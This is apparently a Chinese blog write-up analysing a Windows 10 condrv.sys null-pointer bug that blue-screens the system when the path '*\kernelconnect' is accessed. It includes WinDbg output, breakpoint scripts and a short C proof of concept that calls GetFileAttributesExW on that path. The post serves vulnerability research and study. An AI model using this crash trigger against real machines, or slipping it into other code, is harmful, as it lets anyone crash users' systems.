Win10 ConDrv-BSOD

@lzeroyuee  January 21, 2021

简介

在win10中,访问*\kernelconnect时,会触发BSOD

1.png

漏洞分析

挂上windbg,触发漏洞,会得到以下信息

2.png

崩溃触发在condrv.sys模块的condrv!CdpDispatchCleanup函数中,触发异常为c0000005内存访问异常,这里是因为访问了地址为0的内存

BUGCHECK_CODE:  3b

BUGCHECK_P1: c0000005

BUGCHECK_P2: fffff8046aacaf6f

BUGCHECK_P3: ffffbc85eb32e860

BUGCHECK_P4: 0

CONTEXT:  ffffbc85eb32e860 -- (.cxr 0xffffbc85eb32e860)
rax=ffffc5878d7ddd08 rbx=ffffc58789b66c30 rcx=0000000000000000
rdx=ffffc5878d7ddbf0 rsi=0000000000000000 rdi=ffffc5878d7ddbf0
rip=fffff8046aacaf6f rsp=ffffbc85eb32f260 rbp=0000000000000000
 r8=ffffc5878d7ddbf0  r9=ffffc587842d8e20 r10=fffff8046aacaf50
r11=0000000000000000 r12=0000000000000000 r13=0000000000000000
r14=0000000000000000 r15=ffffc587842d8e20
iopl=0         nv up ei ng nz na po nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00050286
condrv!CdpDispatchCleanup+0x1f:
fffff804`6aacaf6f 488b01          mov     rax,qword ptr [rcx] ds:002b:00000000`00000000=????????????????
Resetting default scope

PROCESS_NAME:  explorer.exe

查看调用栈,如下:

3.png

定位到condrv!CdpDispatchCleanup函数,可以看到参数a2IRP *,通过参数a2取得当前IRP栈上的文件对象,再取得该文件对象的FsContext字段给v3,后续在v3解引用时,触发了访问异常

4.png

紧接着栈回溯向上找nt!IofCallDriver函数,此函数直接向设备对象发送IRP请求,如下:

5.png

接着再网上nt!IopCloseFile,可发现其将传入参数a2设置给文件对象,后续就调用了nt!IofCallDriver,观察发现,此函数内没有对a2->FsContext字段进行判空检查

6.png

此处动态调试一下,在调用栈上可以看到一个kernelbase!GetFileAttributesW函数,

附加到explorer.exe上,在此函数上下条件断点,过滤第一个参数路径:bp kernelbase!GetFileAttributesW "$$<G:\cmp.txt"

$$ G:\cmp.txt
as /mu ${/v:name} @rcx
.if ($spat(@"${name}", "*kernelconnect") == 0) {gc} .else {du rcx}

7.png

然后再对nt!IopCloseFile+0x14b下断点,断下后查看rbx的值,这里的rbx对照反汇编源码即为参数a2

8.png

接下来再对condrv!CdpDispatchCleanup+0xe下断点,查看[rax+0x30]的值

9.png

结果跟静态分析的一致

根据调试的结果来看,此漏洞在R3上是由kernelbase!GetFileAttributesW触发,那么理论上讲只要调用了GetFileAttributesW传入*kernelconnect就能触发BSOD,所以写个代码验证下

#include <Windows.h>

int main(void)
{
    WIN32_FILE_ATTRIBUTE_DATA data;
    GetFileAttributesExW(L"*\kernelconnect", GetFileExInfoStandard, &data);

    system("pause");
    return 0;
}

实验结果来看,确实可以,此漏洞跟浏览器啥的没关系

补充

根据深信服的通报,此漏洞在创建初始化对象时就埋下了隐患,详情:深信服EDR快速响应支持防护Windows condrv.sys内存损坏漏洞

10.png


添加新评论